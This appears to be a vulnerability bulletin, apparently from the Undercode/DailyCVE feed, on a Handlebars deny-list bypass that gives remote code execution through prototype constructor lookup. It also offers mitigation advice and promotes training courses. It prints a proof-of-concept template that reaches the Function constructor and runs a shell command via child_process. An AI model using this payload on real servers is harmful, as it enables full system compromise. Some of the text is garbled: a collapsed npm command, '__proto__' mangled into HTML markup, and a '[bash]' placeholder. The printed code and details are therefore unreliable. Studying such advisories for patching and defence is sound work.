Listen to this Post
The Handlebars templating library contains a vulnerability in how its property lookup mechanism handles prototype properties. Specifically, the `lookupProperty` function evaluates own properties of prototype objects before consulting the security deny list. Because `constructor` is an own property of prototype objects like Function.prototype, looking it up returns the constructor directly without triggering protection checks. When an application compiles templates with untrusted input while `allowProtoMethodsByDefault` is enabled, an attacker can exploit this behavior to access the Function constructor. This allows the injection and execution of arbitrary JavaScript code, ultimately leading to remote code execution on the underlying server.
DailyCVE Form:
Platform: Handlebars
Version: 4.0.0 to 4.7.9
Vulnerability : Deny List Bypass
Severity: Critical
date: October 6, 2026
Prediction: October 7, 2026
What Undercode Say
Bash Commands and Codes
npm install [email protected] npm audit
const Handlebars = require('handlebars');
const template = Handlebars.compile(
'{{with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
'{{lookup "" (@root.a.push (lookup (lookup fn "<strong>proto</strong>") "constructor"))}}' +
'{{each @root}}{{if @index}}{{else}}' +
'{{with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [bash] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
Exploit: (Educational Purposes!)
An attacker exploits this vulnerability by supplying a crafted template containing expressions that traverse prototype chains. By calling `__proto__` on an accessible function context, the template resolves to Function.prototype. It then accesses the `constructor` property, which bypasses the deny list validation because it matches an own property check inside lookupProperty. Obtaining the Function constructor allows the attacker to synthesize and evaluate dynamic payloads, executing arbitrary system commands under the permissions of the Node.js application process.
Protection:
Upgrade the Handlebars package to version 4.7.10 or later, which properly detects and blocks prototype constructor lookups. Avoid setting `allowProtoMethodsByDefault` to true when processing untrusted template inputs.
Impact:
Successful exploitation grants remote code execution capabilities on the server hosting the vulnerable application, potentially resulting in full system compromise, data exposure, and unauthorized command execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
